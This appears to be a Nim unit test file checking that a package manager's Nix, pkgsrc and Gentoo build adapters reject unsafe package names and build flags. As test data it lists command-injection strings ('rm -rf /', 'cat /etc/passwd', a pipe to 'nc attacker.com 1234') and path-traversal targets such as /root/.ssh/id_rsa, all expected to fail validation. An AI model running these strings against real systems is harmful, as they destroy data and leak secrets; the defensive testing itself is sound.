nip/tests/test_security.nim

362 lines
11 KiB
Nim

## test_security.nim
## Security validation tests for build system
import std/[unittest, tables, os, strutils]
import ../src/nimpak/build/[types, nix_adapter, pkgsrc_adapter, gentoo_adapter]
suite "Security Validation Tests":
test "Nix: Package name validation - valid names":
let adapter = newNixAdapter()
let validNames = @[
"firefox",
"nixpkgs.firefox",
"my-package",
"package_name",
"package.with.dots",
"Package123",
"a", # Single char
"a" & "b".repeat(254) # Max length (255)
]
for name in validNames:
let request = BuildRequest(
packageName: name,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
# Should not fail on validation
if not result.success and result.errors.len > 0:
check "Invalid package name" notin result.errors[0]
test "Nix: Package name validation - invalid names":
let adapter = newNixAdapter()
let invalidNames = @[
"", # Empty
"../etc/passwd", # Path traversal
"/absolute/path", # Absolute path
"package;rm -rf /", # Command injection
"package`whoami`", # Command substitution
"package$(whoami)", # Command substitution
"package|cat", # Pipe
"package&background", # Background
"a" & "b".repeat(300) # Too long (>255)
]
for name in invalidNames:
let request = BuildRequest(
packageName: name,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
check result.success == false
check result.errors.len > 0
test "Nix: Override key validation - valid keys":
let adapter = newNixAdapter()
let validFlags = @[
"waylandSupport = true",
"enable-feature = false",
"with_option = true",
"flag123 = true",
"a = true" # Single char
]
let request = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: validFlags,
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
# Should not fail on validation
if not result.success and result.errors.len > 0:
check "Invalid override key" notin result.errors[0]
test "Nix: Override key validation - invalid keys":
let adapter = newNixAdapter()
let invalidKeys = @[
"bad;key = true", # Semicolon
"bad`key = true", # Backtick
"bad$key = true", # Dollar sign
"bad key = true", # Space
"bad/key = true", # Slash
"bad\\key = true", # Backslash
"a" & "b".repeat(150) & " = true" # Too long (>100)
]
for flag in invalidKeys:
let request = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[flag],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
check result.success == false
test "PKGSRC: Package name validation":
let adapter = newPkgsrcAdapter()
# Valid names
let validNames = @["bash", "firefox", "my-package"]
for name in validNames:
let request = BuildRequest(
packageName: name,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
if not result.success and result.errors.len > 0:
check "Invalid package name" notin result.errors[0]
# Invalid names
let invalidNames = @["../etc/passwd", "/absolute", "bad;name"]
for name in invalidNames:
let request = BuildRequest(
packageName: name,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
check result.success == false
test "PKGSRC: PKG_OPTIONS validation":
let adapter = newPkgsrcAdapter()
# Valid options
let validOptions = @["wayland", "pulseaudio", "enable-feature"]
let request1 = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: validOptions,
cacheDir: getTempDir(),
verbose: false
)
let result1 = adapter.buildPackage(request1)
if not result1.success and result1.errors.len > 0:
check "Invalid PKG_OPTIONS" notin result1.errors[0]
# Invalid options
let invalidOptions = @["bad;option", "bad`option", "bad$option"]
for opt in invalidOptions:
let request = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[opt],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
check result.success == false
test "Gentoo: Package name validation":
let adapter = newGentooAdapter()
# Valid names (including category/package format)
let validNames = @["bash", "app-editors/vim", "sys-apps/portage"]
for name in validNames:
let request = BuildRequest(
packageName: name,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
if not result.success and result.errors.len > 0:
check "Invalid package name" notin result.errors[0]
# Invalid names
let invalidNames = @["../etc/passwd", "//absolute", "bad;name"]
for name in invalidNames:
let request = BuildRequest(
packageName: name,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
check result.success == false
test "Gentoo: USE flag validation":
let adapter = newGentooAdapter()
# Valid USE flags (including +/- prefixes)
let validFlags = @["wayland", "-gtk", "+qt5", "pulseaudio"]
let request1 = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: validFlags,
cacheDir: getTempDir(),
verbose: false
)
let result1 = adapter.buildPackage(request1)
if not result1.success and result1.errors.len > 0:
check "Invalid USE flag" notin result1.errors[0]
# Invalid USE flags
let invalidFlags = @["bad;flag", "bad`flag", "bad$flag", "bad flag"]
for flag in invalidFlags:
let request = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[flag],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
check result.success == false
test "Path traversal prevention - all adapters":
let nixAdapter = newNixAdapter()
let pkgsrcAdapter = newPkgsrcAdapter()
let gentooAdapter = newGentooAdapter()
let traversalAttempts = @[
"../../../etc/passwd",
"../../root/.ssh/id_rsa",
"package/../../../etc",
"./../../sensitive"
]
for attempt in traversalAttempts:
# Test Nix
let nixReq = BuildRequest(
packageName: attempt,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
check nixAdapter.buildPackage(nixReq).success == false
# Test PKGSRC
let pkgsrcReq = BuildRequest(
packageName: attempt,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
check pkgsrcAdapter.buildPackage(pkgsrcReq).success == false
# Test Gentoo
let gentooReq = BuildRequest(
packageName: attempt,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
check gentooAdapter.buildPackage(gentooReq).success == false
test "Command injection prevention - shell escaping":
let adapter = newNixAdapter()
let injectionAttempts = @[
"package; rm -rf /",
"package && cat /etc/passwd",
"package | nc attacker.com 1234",
"package`whoami`",
"package$(id)",
"package & background_cmd"
]
for attempt in injectionAttempts:
let request = BuildRequest(
packageName: attempt,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
let result = adapter.buildPackage(request)
# Should be rejected by validation
check result.success == false
check result.errors.len > 0
test "Length limits enforcement":
let adapter = newNixAdapter()
# Package name too long (>255)
let longName = "a" & "b".repeat(300)
let req1 = BuildRequest(
packageName: longName,
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
check adapter.buildPackage(req1).success == false
# Override key too long (>100)
let longKey = "a" & "b".repeat(150) & " = true"
let req2 = BuildRequest(
packageName: "test",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[longKey],
cacheDir: getTempDir(),
verbose: false
)
check adapter.buildPackage(req2).success == false
test "Empty input rejection":
let nixAdapter = newNixAdapter()
let pkgsrcAdapter = newPkgsrcAdapter()
let gentooAdapter = newGentooAdapter()
# Empty package name
let emptyReq = BuildRequest(
packageName: "",
version: "",
variantFlags: initTable[string, seq[string]](),
sourceFlags: @[],
cacheDir: getTempDir(),
verbose: false
)
check nixAdapter.buildPackage(emptyReq).success == false
check pkgsrcAdapter.buildPackage(emptyReq).success == false
check gentooAdapter.buildPackage(emptyReq).success == false